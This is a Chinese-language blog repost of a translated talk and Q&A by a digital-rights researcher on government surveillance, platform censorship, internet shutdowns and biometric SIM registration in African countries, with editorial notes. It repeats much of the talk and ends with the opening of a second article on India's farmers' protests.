所以我们来谈谈强制实名制SIM卡的问题。说实话，这完全是在浪费时间。前几天我想办一张SIM卡，我被要求必须出示护照，就像在我们被证明不是罪犯之前，我们所有人都是罪犯，所以我不明白这个系统是怎么运作的。如果你的国家也遇到过这种情况，这很可悲。但是比如在尼日利亚或者乌干达，如果你想办一张**SIM**卡，你不仅需要出示身份证，还要提供你的生物识别数据。生物识别的意思就是，你必须交出你的指纹，简单说这就是电信服务商给间谍机构的 “前门” 监视权政策。

同样，在尼日利亚的背景下，在多哥的背景下，如果你想拥有一个国民身份证，你需要提供你的指纹和虹膜副本，这些政府正在整合公民的生物识别数据库 —— 就是你用来获取**SIM**卡的数据库—— 并建立一个 “老大哥 “式的一站监控系统，使政府能够进入许多关于公民的数据库。

例如，如今几乎所有国家的政府都在安装闭路电视监视摄像机，这已经近20年（《美国和中国在监视公民方面引领全球》）。但我们不知道谁可以使用这些摄像机，或者最重要的是，这些摄像机有什么功能。最近我们了解到，津巴布韦政府已经慷慨地自愿用自己国家公民的脸去训练中国公司的人工智能。

大大小小的科技公司都在通过设计或选择，协助政府监视和审查他们的大多数人口。在我的家乡和很多其他地方，电信服务提供商、互联网服务提供商和其他公司已经成为国家结构的一部分，往往为执法机构和监控机构提供 “前门” 通道。所以你的**GDPR**在这种情况下是行不通的。

【注：GDPR可能看起来很好，但它的优势和它的弊端基本一样多，

我们曾经多次谈论过这个问题，比如《真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来（上）》，以及《隐私法案管不住 Facebook 和 Google，怎么办》，和《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》】

在结束之前，我想再跟大家分享一个故事，我的一个朋友也是埃塞俄比亚的知名记者，被政府间谍通缉。他很幸运地得到了体制内某人的私下报信，说当局打算过几天把他抓来问话。我们都知道，如果你被“带去问话”，很有可能在接下来的几年里你都不会被允许离开警察局。而如果你运气好，身体好，扛得住暴打，你知道，如果记者保护协会等国际组织能够为你说话，你可能在入狱后的第三、四个月就能见到法官了。

所以像许多人一样 —— 我是说这是一个相当正确的决定 —— 这位记者朋友决定不冒这个险，他逃离了该国。

就像大多数人在埃塞俄比亚会做的那样，他先从肯尼亚逃了出来。我们都很怀念那些日子—— 📌 这事发生在六年前，当时他之所以能逃走，是因为移民官在他越过边境时没有识别他的身份，也就是说那时候还没有生物特征数据被整合在国民身份识别系统里面，还没有与那些在警察局收集的生物识别数据合并，也没有和用于**SIM**卡的生物识别数据整合在一起。他之所以能够不被发现地逃走，可能是因为负责他“案件”的政府间谍还没来得及给移民局写信让他上黑名单。

📌 所以，当这些数据库都被整合起来时，当他们能够把我们所有人为了拿到SIM卡而提供的照片、指纹，与我们参加的抗议活动中监控录像相匹配的时候，审查和监控的恶性循环就会成为一个完整的闭环。而大大小小的科技公司和电信公司将成为中心。

演讲结束，感谢大家的倾听！

主持人： 大家有什么问题要问吗？请举手，我到你的座位上去。

观众1：非常感谢您的演讲，也感谢您提到委内瑞拉的案例。我们现在在数字权利方面有一个非常复杂的问题。所以我想问您，是否曾经有人想出了如何打破这种恶性循环的方法。如果您知道任何案例，也许对我们会有启发。

Taye：是的。📌 我们看到我们能够打破这个恶性循环的唯一方法就是提高我们自己的数字安全性。因此，使用法拉第袋真的可以帮助我们的组织。法拉第袋是你可以用来放在手机里的袋子，不会被追踪到

你和队友。所以，一些数字安全工具和我们对许多“工具”所做的情境化工作，是唯一能够把我们从审查和监视的恶性循环中拯救出来的方法。而我可以推荐一些工具和培训师，你可以跟他们谈谈这个问题。

【注：📌 欢迎关注我们的防御方法课程 ~ “整体安全”、“难以被追踪”、“完美隐身”、“在敌对环境下保护自己”；列表-5 “护盾” 和 列表-1 “技术防身” 是更多细节性防御方法，前者给行动者，后者给所有人】

主持人：这里还有一个问题。

观众2：推特等社交网络的反应是什么？因为从我天真的西方视角来看，我的意思是，推特在阿拉伯之春期间大行其道，他们让人们可以组织抗议活动。所以我认为他们可能有兴趣支持那些想利用它来进行反抗组织的人。

Taye：老实说，我们根本没有收到 **Twitter** 的任何回应。而且他们仍然没有把苏丹的手机号码放在其名单上。所以，说实话，我在技术上已经放弃了。📌 除非我们在财务上对这些美国公司有意义—— 广告收入，否则我觉得我们这些人对在些美国公司来说根本就是无关紧要的。

主持人：还有下一个问题吗？

观众3：我很想知道端到端的加密技术的使用有多普遍。比如说在埃塞俄比亚，您会推广端对端加密技术吗？人们会感兴趣吗？只是想听到更多关于这一点。

Taye：是的，这是一个很好的问题。但是，我们在使用Tor等安全网络时遇到的问题是，📌 如果你的国家有**2000**万互联网用户，而只有**20**个人在使用**Tor ……** 其结果就是，你并没有以任何方式进行匿名。所以这就是我们遇到的问题。比如说对于Signal，我们一直在告诉人们，让自己家里所有人都下载了Signal。不是因为他们需要它，只是为了确保更多的人使用它。如果使用的人过少，反而会变成风险—— 当局会知道那个使用加密工具的人就是他们需要瞄准的人。

你必须让安全技术被普及，没有任何人能独自实现安全，安全需要合作。

所以，是的，安全技术工具会帮助。📌 但问题是，特别是当你还在

使用那些安全加密网络的时候，比如**PGP**，间谍和警察把你抓进去了，你被审问的时候，他们知道你有使用这个东西 **……** 当你被拷问的时候，你就可能扛不住而把密码说出来。所以在某些情况下，也会让你使用这些工具变得极其危险，因为当局觉得你在隐瞒什么。所以这要看具体情况。

【注：对此的防御方法见系列内容 “在敌对环境下保护自己”】

观众4：非常感谢您的演讲。我有一个问题。您谈了很多关于技术的危险，尤其是社交媒体的危险。但您是不是也像我一样，我一直认为它是积极的东西，尤其是与 “阿拉伯之春” 有关。所以你是否也看到了某种机会，不仅是在技术上，尤其是在社交媒体上？谢谢。

Taye：是的，社交媒体有很多用途，我想这是很明显的。只是每个人都在试图给我们灌输数字化技术会如何拯救我们的说法，但我认为这不是今天的会议主题。

主持人：好的，非常感谢您。〇

原文

从沉默到沉默：监视和审查的恶性循环 - iYouPort

你应该了解的现实反抗者-寻求经验

希望更多人能站在自己的利益上思考，而不是当权者的利益—不论是政客还是寡头公司

「图」

「图」

【按】今年初推特再次实施了它的封锁战术，此次距离前一次的去年底对左翼活动家的封锁，仅仅时隔一个月；随即，在英国法庭拒绝保释之后，很多 Julian Assange 的支持者账户被推特封锁。其中最不幸的事件远非封锁本身，而是，叙事操纵者将绝大多数人的注意力绑定在对特朗普的账户的关注上，这是完全错误的，是跑题。

2018年IYP被推特封锁，我们记录了这件事：《在无可言说之中言说中国》；当时我们与本文中这位做演讲的活动家一样，我们向国际互联网权利组织 AccessNow 投诉，最终在 AccessNow 的帮助下获得了解封。但是要知道，这并非是所有人都能使用的方法，我们的成功极大程度上源于我们是一个国际联盟的成员，而本文中演讲的活动家是 Access Now 的合作者。

IYP和这位活动家都不是美国人，我们和她所致力于协助的公民群体也都不是美国人，这是一个重点，让我们与这位演讲者产生了极大的共鸣 —— 我们从她的演讲中看到了几乎完整的中国现实；唯一的不同在于，她和她的同伴们对此的认知程度要明显高于我们在中国看到的普遍现象。

请注意，我们在这里谈论的不是监视和审查本身是否合理，而是我们所有人的人身安全，乃至生命威胁，还是那句话，希望更多人能站在自己的利益上思考，而不是当权者的利益 —— 不论是政客还是寡头公司。

本文是 opentranscripts 组织的一次在线交流会的文字版。首先是视频本身，之后是它的中文翻译。

嗨大家好！我叫 Berhan Taye，我把自己定义为一名公益科技研究者，研究科技和社会正义的交集，主要关注审查和监控，以及这两者所造成的恶性循环。我还与 Access Now 合作。我领导了 #KeepItOn 运动，这是一个反审查反监视的在线运动。

所以，今天的对话，我相信你能够从标题中看出，它是关于审查和监视的恶性循环 —— 关于不论是巨头科技公司、小型科技公司、还是那些介于两者之间的科技公司，如何在支持和协助政府监控的过程中对绝大多数人进行审查。

【注：审查和监控是实施迫害的两个步骤，监控是第一步，监控为审查锁定目标，审查为迫害提供“依据”：下面是可视化报告作为案例：

- 《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》
- 《第2部分：社交媒体战场、人工政治和逮捕》】

我打算在二十分钟内左右结束这次谈话，这样您就可以有时间提问了。我也想听听您是如何遭遇大型科技公司的监视和审查的。

我先讲一个关于我的朋友的故事。我的一个朋友在过去五年里被当局逮捕过多次。他被逮捕并不是因为他是一个铁杆罪犯，绝对不是，而是因为他决定打破沉默在我们大多数人都非常害怕说真话的时候说出真话。他被捕是因为他在我们大多数人连笔都找不到的时候写下了事实。他决定挑战现状，质疑政府的说法，而我们很多人都在忙着躲藏，更不用说挑战当权者了。

正是因为他的这一英雄行动，他被逮捕，被殴打，被折磨。这就是在埃塞俄比亚 —— 以及全世界大多数国家，当你是一个持不同政见者、或者曾经是一个持不同政见者时，通常都会发生的事。我们现在有了一个新的政府，但我们仍然不知道它是否民主。

所以，除了被逮捕、被殴打、被折磨 —— 我想这些都是需要强调的重要事情，政府非常细致地让一个人在线下保持沉默，并确保他在网上也保持沉默。就如政府通常都会禁止印刷厂印刷报纸和阻止电视节目那样，他们也一直在非常小心地确保你的博客被封锁、你的网站被封锁。我们中的许多人都遭遇过这种被噤声。

对于我的这位朋友和许多像他一样的人来说，他曾依靠 Facebook 和 Twitter 来表达意见，因为当你的博客被封锁时，你的社交媒体就是你拥有的所有工具了，结果是，他的 **Facebook** 和 **Twitter** 也被封锁了。而这些社交媒体平台对于异议来说几乎是唯一的发泄源，对我们很多人来说都是如此。但是，说真话几乎是不可能的，你必须为说真话付出代价。

2018年8月的一个下午，我记得我们在一起玩，当时他疯狂地打字，他想发布一个特定的博客，他写了一个关于新政府的博客，以及他的反抗行动如何挑战现状 —— 一如既往。完成后他试图将文章发布在 Facebook 上，但是发不出去。他又试了一次 …… 继续失败。我们都觉得这真的非常奇怪。就好像网络出了问题，其实不是网络问题。我当时就想，“好吧，也许和你的电脑有关，那试试用我的电脑来发布吧。” 但是结果，我的电脑也发不出去。

然后我们才注意到， Facebook 上有一个横幅，每次我们无法发布的时候那个红色的横幅就会跳出来，上面写着：“你不被允许发帖，因为你违反了我们社区的条款和条件” …… 这对我们很多人来说都很奇怪。因为我们不明白这是什么意思。我知道 Facebook 的条款和条件是什么，比如你不能发布有暴力倾向的内容，诸如此类 ，我们都读过这些东西。但是，感觉这非常武断，谁来决定什么是 “暴力”？我们当时并不明白发生了什么，不明白我们发布的政治博客触犯了什么东西。

作为一个研究监视国家的人，我可以很自信地告诉你，我了解监视国家的运作方式。我可以准确地猜测到哪一部分的情报人员会负责屏蔽内容、过滤和屏蔽网站。我甚至可以告诉你，做这些工作的情报部门在哪座大楼里。我可以说，我明白这个系统是如何工作的。我能感觉到它，我能触摸到它，它的背后有很多人。而这些人就是我的同胞，他们和我说着同样的语言。你绝对能知道是什么触发了政府想要拼命阻止你的网站和阻止你的博客。

所以做为异议人士，在我们自己的国家我们可以玩转那些条款，玩转这些限制，打擦边球，以尽可能维护我们的网站和内容不被封锁。

但是，当谈到在 **Facebook** 上遭遇的审查时，这不仅是一种创伤，而且是一种再创伤，因为我们很多人都不明白为什么 **Facebook** 要封锁具体内容，以及为什么活动家的账号会被封杀。

我的朋友，他是一个合法的活动家，并没有违反 Facebook 制定的任何条款和条件，没有任何证据表明他违反了任何这些东西，Facebook

的警告横幅对我们很多人来说都没有意义。我们也可以把 Facebook 犯下的这个明显的错误归结为政府的trolls大军。但**trolls**大军在这个案例中并没有发挥作用，我刚才已经告诉过你，因为我们现在有一个新的民主政府。而据我们了解，监控国家正试图重组自己，所以**trolls**在那一刻就失去了工作。我们有人可以验证这一点。

📌 而在那个特定的时刻，我们很多人都觉得，我们自己国家的审查制度已经进入了 Facebook 和其他社交媒体平台。而我们这些异议人士对付本国审查的擦边球经验在 Facebook 上完全不管用，我们对它毫无办法。

Facebook 的审查结构对我们很多人来说都是遥不可及的，我的朋友不得不联系我所服务的组织 —— Access Now 的数字安全帮助热线来解决这个问题。而直到今天，**Facebook** 也没有告诉我们我的朋友的账号为什么会被封，也没有告诉我们他的内容为什么不被允许发布。

📌 而我们需要有人在我们和这些社交媒体平台之间进行调解。而根本没有多少人能够接触到 Access Now，也没有多少人能够说 Access Now 的工作人员所说的语言。

不幸的是，这并不是我的朋友所独有的，我相信很多人都遇到过类似的故事—— 来自世界各地的美国社交媒体用户，都可能有自己的故事。

（嗯，太多了，中国的 Facebook 和 Twitter 用户很多年前就经历过这些，比如，2014年的记录《Facebook带来的恐慌》；在我们的 列表-2 “关于 Facebook” 和 “关于 Twitter” 中看到更多）

这种情况在全世界都很常见，在越南和其他很多地方都有发生。比如一位活动家在两周内被 Facebook 封杀了16次。Facebook 给出的理由是，他发的东西 “太多”。根据你的看法这可能是一个合法的理由，但是，"谁能决定多少才是 “太多”"，我们在注册这些服务的时候同意了什么条款和条件？这些问题对我们很多人来说都没有得到答案。

📌 这种情况和许多其他情况迫使我们许多处于边缘的人看到了 Facebook 的审查制度如何在我们自己的政府无法触及的地方继续。

把这个话题从社交媒体平台上移开，让我们谈谈电信服务提供商和互联网服务提供商在世界许多地方的作用—— 请注意，我们所说的地方不是欧洲或北美。比如说你和我今天聚集在这里的地方，你可能与你的服务提供商之间的问题，不管是沃达丰电信还是你的国家里任何

其他提供商，我们的共同点是，都需要担心情报机构有“后门”访问我们的数据，我们的数据被用来起诉我们和审查我们的言论甚至想法。..... 法院命令根本不重要，仅仅取决于当局所认为的你的“恐怖能力水平”。因为当权者在定义什么是恐怖。

📌 在我的家乡和许多世界其他地方，问题并不是间谍机构有后门以访问我们的数据—— 是的，他们确实有后门访问我们的数据，但更重要的是，他们也有前门访问我们的数据；这意味着，他们利用科技公司、电信、互联网服务提供商非法提供的信息，就像你"在斯诺登文件中看到的那样"，那只是美国的案例，而在埃塞俄比亚、苏丹、冈比亚、委内瑞拉、乌干达等等很多地方的政府间谍，都在使用同样的方法压制大多数人的声音，我还可以继续列举更多这样的国家。

📌 间谍机构被直接嵌入到电信公司的互联网服务中。这意味着，间谍机构的人很可能就在这些所谓的“科技公司”内部有一张办公桌，还有一间办公室，可以接触到大多数用户的信息，比如你和我。

所以，当间谍机构不道德地、非法地嵌入到这些公司里面的时候，当很多这些问题出现在体制内、而我们又无法驯服他们所拥有的这种权力的时候，我们又怎么能开始讨论数据保护和需要法院授权的问题呢？

这些人就坐在屏幕后面，向间谍们展示目标公民的实时位置。这让他们看到你和你的联系人之间的所有信息对话，他们还能获得许多用户的私密信息。

如果你继续强调自己是一个“没什么好隐瞒”的所谓“普通公民”，这对你来说可能并不重要，但是，如果你是一个活动家，一个记者，一个反对派人物，一个律师 ..... 或者是一个反对政府的人，这显然是你的灾难。

我们中大多数人都无法自己选择服务提供商，我们完全是被安排的。即便可以在几个巨头中挑选，意义也不大，因为同样的不道德标准适用于所有提供商。例如，苏丹的前间谍部门负责人目前就是其中一家互联网服务提供商的负责人。

📌 所以，你说，当他实际上就是监视和审查活动家、杀害活动家、并做出许多可怕事情的镇压系统的核心时，我应该和他进行什么样的对话，以保护我自己的数据和隐私？

「图」

「图」

📌 我们这里所说的这些电信和互联网服务提供商，不仅仅是本国政府所拥有的地方性的提供商，他们也同样包括跨国公司，比如说沃达丰在非洲大陆有很多子公司，MTN、Airtel、还有很多其他的公司。所以这种对话. ….. 似乎就有双重标准，对一些有效，对一些无效。这些公司已经成为全世界监控和审查结构的一部分。

除了将国家的镇压结构制度化之外，这些公司还在压制大多数人的声音方面发挥了至关重要的作用。你可能会问，为什么，或者他们是如何做的。比如说，当政府不喜欢你说的话、不喜欢你在网上进行组织动员并把这些带到线下空间的时候，他们往往就会把你的互联网关掉。这在我的家乡是很常见的。所以互联网的关闭比如说发生在选举期间，抗议活动期间，或者你在组织呼吁抗议的阶段，非常刺激。就在本周，斯里兰卡、贝宁、上周的加蓬、苏丹、菲律宾，许多国家都关闭了互联网。

你可能会问，在关闭互联网的过程中，电信和互联网服务提供商的作用是什么？—— 他们是为你提供互联网接入的人，也是随时可以关闭你的互联网的人。

【注：别依赖您无法控制的东西，这是IYP的口头禅，它包括很多东西，其中第一位的就是互联网。互联网的基础设施不是民主的，公民无法控制，如果公民的反抗行动高度依赖互联网，您就会明显被动。如何离线工作已经称为反抗者的必修课程 —— 在我们的网站上搜索“如何应对断网” 以找到具体解决方案】

也许有人会说电信公司需要遵守管理他们的国家法律，比如，如果他们在丹麦，他们需要遵守丹麦的规则，如果在德国或加蓬，他们需要遵守所有这些规则，他们也需要赚钱；但是，这些规则、法律和行动是为了让大多数人沉默，他们又应该在多大程度上遵守规则呢？这些公司在多大程度上考虑过"他们直接和间接地扮演着让我们很多人被噤声和被监视的角色"？

比如我们看看苏丹的案例和发生的抗议活动。对于我们很多生活在距离苏丹非常近的人来说，过去三十年来看着苏丹发生的很多事，我们没有看到革命的到来，所以在2018年12月，人们因为燃料和面包的价格而感到沮丧，开始抗议，并且在过去五个月里一直在抗议。他们推翻了一个三十年的独裁政权，他们正在转型。当然，当这场革命开始的第一件事就是政府决定关闭社交媒体平台。

因此，社交媒体平台在提供信息获取渠道和提供这类革命期间所需的重要信息方面肯定发挥了巨大作用，它们也为活动家、记者和普通公民提供了重要的发声渠道。然而，它们也是扼杀公民声音的武器。

「图」

「图」

所以，当苏丹喀土穆成百上千的人走上街头时，政府就像我说的那样，迅速封锁了社交媒体，而我们很多组织起来的人就使用VPN绕过封锁。当然，即便没有封锁你也应该使用VPN以躲避监视，当时我们这些人只是为了反封锁。

📌 但是，当人们试图使用VPN登录Twitter时，Twitter 就认为这是账户被入侵的迹象，因为其IP会显示为其他国家，而实际上用户在苏丹。所以很明显，Twitter 就直接屏蔽了这些使用VPN的反封锁抗议者，并要求他们重新确认自己的身份。

【注：这不仅仅是Twitter 的特点，也是很多其他互联网服务的特点，并且不仅针对VPN，尤其针对Tor用户，见《二等公民》，这就让试图躲避监视审查的敏感人士变得非常困难】

然而，Twitter 要求苏丹人验证自己的账户并重新获得访问权限的方式是，你会被要求验证你的账户，你的密码，你的电子邮件，然后你可以输入一个电话号码，这样你就可以有一个双因素识别。📌 所以，每次你使用**VPN**登录，它都会要求你验证手机号。但是如果你在苏丹，你就无法在Twitter上添加你的电话号码，因为Twitter不一定承认苏丹的电话号码，要么他们认为苏丹这个国家不存在，要么他们认为没有电话号码可以放进去。

所以默认情况下，人们已经被排除在社交媒体的访问之外。这也意味着，当我们建议他们使用**VPN**绕过封锁时，也相当于默认在强迫他们被排除在对话之外。

Twitter 的这种设计选择—— 或者说是无视，不管你想怎么看——都意味着许多人在互联网封锁期间无法连接到 Twitter。📌 更痛苦的是，很多试图绕过封锁使用推特的人，是为了有一个媒介能够让众人知道镇压部队的暴行—— "他们记录下了证据"，在我说的那个星期，大约有**60**人被警察杀害。

因此，这里的问题是，究竟是谁做出的选择，是故意排除还是选择性

排除？是谁做了那个决定让苏丹不在验证电话号码的名单上，或者其他国家不在名单上。而这些都不是我们被允许问 **Twitter** 或任何其他美国社交媒体巨头的问题，因为他们在旧金山。

到目前为止，我们已经谈到了 Facebook 的作用，以及它如何审查，电信和互联网服务供应商的作用，以及他们如何以某种方式支持政府审查和监视公民。我们谈到了苏丹、埃塞俄比亚、冈比亚、加蓬、乌干达和许多其他国家，要知道这些国家并不想隐瞒他们在监视我们的事实。这些国家的制度还购买了监控技术，机器，恶意软件，不管你怎么称呼它。

所以我相信我们很多人都熟悉监控技术公司，比如NSO集团，Hackingteam、Cyberbit 等。我们大家可能都会同意，这些不同种类的监控科技公司之所以成立就是为了用来对付我们的。我们的政府购买了这些软件，有明确的证据表明，"这些软件就是用来监视那些像我这样的人，那些积极人士，活动家，那些以某种方式组织起来挑战现状的人"。

他们会不惜一切代价，以确保他们可以控制我们所做的一切。

你知道，监控国家在结构方式上是由大大小小的科技公司来协助的，它们不断地致力于监视和审查我们。所以我还想把这个话题再往前推一点，推到可能不一定很明显的地方，也就是政府如何也在以很多不同的方式对人们进行审查和监视，而这些方式也许并不是直接访问我们的数据。

所以我们来谈谈强制实名制SIM卡的问题。说实话，这完全是在浪费时间。前几天我想办一张SIM卡，我被要求必须出示护照，就像在我们被证明不是罪犯之前，我们所有人都是罪犯，所以我不明白这个系统是怎么运作的。如果你的国家也遇到过这种情况，这很可悲。但是比如在尼日利亚或者乌干达，如果你想办一张**SIM**卡，你不仅需要出示身份证，还要提供你的生物识别数据。"生物识别"的意思就是，你必须交出你的指纹，简单说这就是电信服务商给间谍机构的 “前门” 监视权政策。

同样，在尼日利亚的背景下，在多哥的背景下，如果你想拥有一个国民身份证，你需要提供你的指纹和虹膜副本，这些政府正在整合公民的"生物识别数据库" —— 就是你用来获取**SIM**卡的"数据库"—— 并建立一个 “老大哥 “式的一站监控系统，使政府能够进入许多关于公民的数据库。

例如，如今几乎所有国家的政府都在安装闭路电视监视摄像机，这已经近20年（《美国和中国在监视公民方面引领全球》）。但我们不知道谁可以使用这些摄像机，或者最重要的是，这些摄像机有什么功能。最近我们了解到，津巴布韦政府已经慷慨地自愿用自己国家公民的脸去训练中国公司的人工智能。

大大小小的科技公司都在通过设计或选择，协助政府监视和审查他们的大多数人口。在我的家乡和很多其他地方，电信服务提供商、互联网服务提供商和其他公司已经成为国家结构的一部分，往往为执法机构和监控机构提供 “前门” 通道。所以你的**GDPR**在这种情况下是行不通的。

【注：GDPR可能看起来很好，但它的优势和它的弊端基本一样多，我们曾经多次谈论过这个问题，比如《真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来（上）》，以及《隐私法案管不住 Facebook 和 Google，怎么办》，和《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》】

在结束之前，我想再跟大家分享一个故事，我的一个朋友也是埃塞俄比亚的知名记者，被政府间谍通缉。他很幸运地得到了体制内某人的私下报信，说当局打算过几天把他抓来问话。我们都知道，如果你被 “带去问话”，很有可能在接下来的几年里你都不会被允许离开警察局。而如果你运气好，身体好，扛得住暴打，你知道，如果记者保护协会等国际组织能够为你说话，你可能在入狱后的第三、四个月就能见到法官了。

所以像许多人一样 —— 我是说这是一个相当正确的决定 —— 这位记者朋友决定不冒这个险，他逃离了该国。

就像大多数人在埃塞俄比亚会做的那样，他先从肯尼亚逃了出来。我们都很怀念那些日子—— 📌 这事发生在六年前，当时他之所以能逃走，是因为移民官在他越过边境时没有识别他的身份，也就是说那时候还没有生物特征数据被整合在国民身份识别系统里面，还没有与那些在警察局收集的生物识别数据合并，也没有和用于**SIM**卡的生物识别数据整合在一起。他之所以能够不被发现地逃走，可能是因为负责他 “案件” 的政府间谍还没来得及给移民局写信让他上黑名单。

📌 所以，当这些数据库都被整合起来时，当他们能够把我们所有人为了拿到SIM卡而提供的照片、指纹，与我们参加的抗议活动中监控录像相匹配的时候，审查和监控的恶性循环就会成为一个完整的闭环。而大大小小的科技公司和电信公司将成为中心。

演讲结束，感谢大家的倾听！

主持人： 大家有什么问题要问吗？请举手，我到你的座位上去。

观众1：非常感谢您的演讲，也感谢您提到委内瑞拉的案例。我们现在在数字权利方面有一个非常复杂的问题。所以我想问您，是否曾经有人想出了如何打破这种恶性循环的方法。如果您知道任何案例，也许对我们会有启发。

Taye：是的。📌 我们看到我们能够打破这个恶性循环的唯一方法就是提高我们自己的数字安全性。因此，使用法拉第袋真的可以帮助我们的组织。法拉第袋是你可以用来放在手机里的袋子，不会被追踪到你和队友。所以，一些数字安全工具和我们对许多“工具”所做的情境化工作，是唯一能够把我们从审查和监视的恶性循环中拯救出来的方法。而我可以推荐一些工具和培训师，你可以跟他们谈谈这个问题。

【注：📌 欢迎关注我们的防御方法课程～“整体安全”、“难以被追踪”、“完美隐身”、“在敌对环境下保护自己”；列表-5 “护盾” 和 列表-1 “技术防身” 是更多细节性防御方法，前者给行动者，后者给所有人】

主持人：这里还有一个问题。

观众2：推特等社交网络的反应是什么？因为从我天真的西方视角来看，我的意思是，推特在阿拉伯之春期间大行其道，他们让人们可以组织抗议活动。所以我认为他们可能有兴趣支持那些想利用它来进行反抗组织的人。

Taye：老实说，我们根本没有收到 **Twitter** 的任何回应。而且他们仍然没有把苏丹的手机号码放在其名单上。所以，说实话，我在技术上已经放弃了。📌 除非我们在财务上对这些美国公司有意义—— 广告收入，否则我觉得我们这些人对在些美国公司来说根本就是无关紧要的。

主持人：还有下一个问题吗？

观众3：我很想知道端到端的加密技术的使用有多普遍。比如说在埃塞俄比亚，您会推广端对端加密技术吗？人们会感兴趣吗？只是想听到更多关于这一点。

Taye：是的，这是一个很好的问题。但是，我们在使用Tor等安全网

络时遇到的问题是，📌 如果你的国家有2000万互联网用户，而只有20个人在使用Tor …… 其结果就是，你并没有以任何方式进行匿名。所以这就是我们遇到的问题。比如说对于Signal，我们一直在告诉人们，让自己家里所有人都下载了Signal。不是因为他们需要它，只是为了确保更多的人使用它。如果使用的人过少，反而会变成风险——当局会知道那个使用加密工具的人就是他们需要瞄准的人。

你必须让安全技术被普及，"没有任何人能独自实现安全"，安全需要合作。

所以，是的，安全技术工具会帮助。📌 但问题是，特别是当你还在使用那些安全加密网络的时候，比如PGP，间谍和警察把你抓进去了，你被审问的时候，他们知道你有使用这个东西 …… 当你被拷问的时候，你就可能扛不住而把密码说出来。所以在某些情况下，也会让你使用这些工具变得极其危险，因为当局觉得你在隐瞒什么。所以这要看具体情况。

【注：对此的防御方法见系列内容 “在敌对环境下保护自己”】

观众4：非常感谢您的演讲。我有一个问题。您谈了很多关于技术的危险，尤其是社交媒体的危险。但您是不是也像我一样，我一直认为它是积极的东西，尤其是与 “阿拉伯之春” 有关。所以你是否也看到了某种机会，不仅是在技术上，尤其是在社交媒体上？谢谢。

Taye：是的，社交媒体有很多用途，我想这是很明显的。只是每个人都在试图给我们灌输数字化技术会如何拯救我们的说法，但我认为这不是今天的会议主题。

主持人：好的，非常感谢您。○

原文

他们如何战胜了强大的政府？-- 横向组织和直接行动的有效性 - iyouport

反抗者-寻求经验

这是一个可以向全世界反抗者推行的行动模式。这场成功具有重要的意义。

> “人们不应该害怕他们的政府。政府应该害怕他们的人民。” —— *Alan Moore, V for Vendetta*

上月底我们庆祝了这场伟大的成功：

- 警察和企业媒体联合起来攻击抗议者；
- 各大社交媒体巨头接连封锁活动家和组织的账户；
- 当抗议活动获得国际支持时，政府污蔑其为“境外敌对势力”；
- 警察使用催泪瓦斯、水炮、和各种路障阻挡抗议者；
- 政府切断水、电、和互联网服务来消解抗议活动 ……

但最终是抗议者胜利了。为什么？

这场持续了一年的抗议活动中有很多值得总结的经验，可帮助未来的反抗者获得灵感。本文为此而来，并添加了【注】以延伸这些经验，帮助您理解。

印度的农民赢得了一场历史性的胜利，反对国家将农业部门私有化供企业剥削的努力。由总理纳伦德拉·莫迪领导的专制右翼印度人民党（BJP）政府最终不得不在农民的抗议活动面前低头，接受了废除三项反农民法律的要求。

这场长达一年的农民斗争的成功表明，横向的、自我组织的、分散的抗议活动可以涉及数十万人 —— 他们可以在巨大的障碍面前坚持下去 —— 他们甚至可以在坚定的专制政权面前取得胜利。

无论是公司媒体的宣传，还是国家的镇压，或是亲政府的暴徒的攻击，都没有成功地镇压农民。这场抗议活动成为世界上最大的反公司

和反政府的群众运动之一，将公司和政府的关系确定为印度其他人口的自由、福祉和自决的敌人。即使议会对统治政权的反对力量很弱，司法部门对人们面临的不公正现象保持沉默，官僚机构为压迫者服务、为更多的剥削铺平道路，群众运动也总是能找到打败这些压迫制度的方法。

农民们能够在如此艰难的情况下月复一月地维持这些大规模的抗议活动，有两个原因：自我组织和权力下放。没有任何领导人指挥这场抗议活动；所有农民联盟参与的会议共同做出了所有决定。妇女和无地劳动者的参与为这一事业添砖加瓦，解决了人们的担忧，建立了一个跨越印度社会通常断层的统一战线。这反过来又促进了大众对印度社会普遍存在的种姓和性别歧视、以及其他反社会立法的讨论，如废除宪法第370条（取消查谟和克什米尔的特殊地位）、去货币化（即 无现金社会）、公民身份法修正案（CAA）、新教育政策（NEP）、环境影响评估（EIA）、猖獗的私有化、燃料和基本商品价格上涨、失业和经济危机等。随着抗议者对困扰印度的其他社会和政治问题有了更深刻认识，反对农业法的斗争很快就变成了反对当今印度人民所面临的各种形式的压迫的斗争。这就形成了对警察暴力、媒体宣传和司法疏忽的更多审视和反击，并促进了抗议者要求政客和官僚对他们的行为负责。

这一点在对勒金布尔凯里县事件的反应中显而易见，在该事件中，一位人民党部长的儿子用越野车碾压农民；尽管政府明确表示不打算这样做，但农民迫使人民党政府提交第一份信息报告并逮捕肇事者。农民们还以静坐的形式抗议警察针对达利特劳工活动家 Nodeep Kaur 和 Shiv Kumar 的野蛮暴力。他们迫使一名下令对卡尔纳尔的农民进行鞭刑的印度行政服务局官员下台。他们抗议达利特人 Lakhbir Singh 被一群尼昂（Nihang）锡克教徒杀害，这些人声称他 “亵渎了锡克教圣书”—— 这清楚地表明达利特人在印度仍然被当作贱民对待。

抗议者采用的方法既是史无前例的，也是革命性的。农民们首先向德里游行，在那里他们占领了城市周围的边界，在高速公路上驻扎。举行了 Rail Roko（阻断火车）抗议活动，农民们拦住了火车，并向车上的旅行者讲述了抗议活动的重要性。

抗议者遭遇了残酷的国家暴力；军队和警察部队都试图镇压抗议。警察使用了催泪瓦斯和水炮，挖开了道路，并使用层层路障和沙障来阻止抗议者。迄今为止，已有**700**多名农民在这些抗议活动中丧生。政府试图通过切断抗议者所占领的地点的水、电、和互联网服务来消解抗议。作为回应，农民分头从自己的村庄带来了他们所需要的一切，以便在抗议地点生存下来。参与者组织了大规模的瑯加，为所有抗议

者提供食物。

- 如果您错了《了解防暴弹药，以及如何保护自己 ：示威参与者指南（10）》

【注；水、电、互联网等能源和通信设施被统治阶级完全控制，任何国家的当权者都很擅长利用这种集中化的权力镇压抗议活动，这就是为什么全世界的抗议者都在致力于研究如何在断网的情况下继续战斗。而印度的反抗者通过互助网络解决了水和食物的问题，维持了抗议活动的的生命力。这是最重要的一步。】

